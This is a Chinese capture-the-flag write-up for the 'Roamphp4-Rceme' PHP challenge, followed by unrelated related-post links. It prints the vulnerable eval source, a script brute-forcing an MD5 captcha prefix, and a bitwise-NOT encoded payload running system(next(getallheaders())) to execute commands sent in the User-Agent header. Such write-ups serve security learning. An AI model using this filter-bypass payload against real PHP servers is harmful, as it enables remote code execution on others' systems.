[极客大挑战 2020]Roamphp4-Rceme

rce,rce,rce!!!

右键源代码里给了提示,有备份文件index.php.swp,大伙都做到这来了,应该不用写了吧。看源码

php 复制代码
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        //获得验证数字
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                //post传的code经过md5加密前五个字符,要等于session的code
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                //修正符:x 将模式中的空白忽略; 
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }

在rce前,他有个验证。md5前五位要等于给定的五位。我直接贴py脚本

php 复制代码
import hashlib
for i in range(1,10000000000000):
    m=hashlib.md5(str(i).encode()).hexdigest()
    if m[0:5]=='71304':
        print(i)
        break

然后,需要要绕过两层,多年rce经验,相信你一眼能看出。

第一层 无字母数字绕过,这里能用取反绕过,并限制长度小于70

第二层 正则匹配很明显要求无参数执行

我们由内往外构造,这里需要前置知识(贴其他大佬的吧)

前置知识:

('phpinfo')()

'phpinfo'\]\[0\]() \['phpinfo'\]{0}() 效果作用是一样的。 phpinfo(): \[\~%8F%97%8F%96%91%99%90\]\[\~%CF\](); 加这个\[\~%FF\]只是因为php7的解析方式,当然换成其他的也可以例如\[\~%EF\] \[\~%CF

php 复制代码
system(next(getallheaders()));  //getallheaders()简单讲可以获取数包据头

我选择ua那注入

然后修改成:User-Agent: ls

代码执行后,会获取第二个字段的值,我是把us的位置手动调成第二个字段,然后执行命令

然后将恶意语句取反(怎么取反不用写了吧)

php 复制代码
[~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));

//system(next(getallheaders()));

最后数据包长这样

我最后多尝试了几种方法

eval(next(getallheaders())); 不彳亍

assert(next(getallheaders())); 不彳亍

passthru(next(getallheaders())); 可以

知道原因可以在评论区踢我一脚

相关推荐
Lei活在当下2 小时前
【Perfetto从入门到精通】2. 使用 Perfetto 追踪/分析 APP 的 Native/Java 内存
android·性能优化·架构
谎言西西里2 小时前
JS 高手必会:手写 new 与 instanceof
javascript
愤怒的代码2 小时前
🔗 深度解析 SystemUI 进程间通信机制(一)
android·操作系统·app
雪碧聊技术2 小时前
前端项目代码发生改变,如何重新部署到linux服务器?
前端·vue3·centos7·代码更新,重新部署
liulilittle3 小时前
C++ 浮点数封装。
linux·服务器·开发语言·前端·网络·数据库·c++
wordbaby3 小时前
Expo 进阶指南:赋予 TanStack Query “原生感知力” —— 深度解析 AppState 与 NetInfo
前端·react native
RainyJiang3 小时前
聊聊协程里的 Semaphore:别让协程挤爆门口
android·kotlin
Moment3 小时前
从美团全栈化看 AI 冲击:前端转全栈,是自救还是必然 🤔🤔🤔
前端·后端·面试
天问一3 小时前
使用 Vue Router 进行路由定制和调用的示例
前端·javascript·vue.js
Dev7z5 小时前
在MySQL里创建数据库
android·数据库·mysql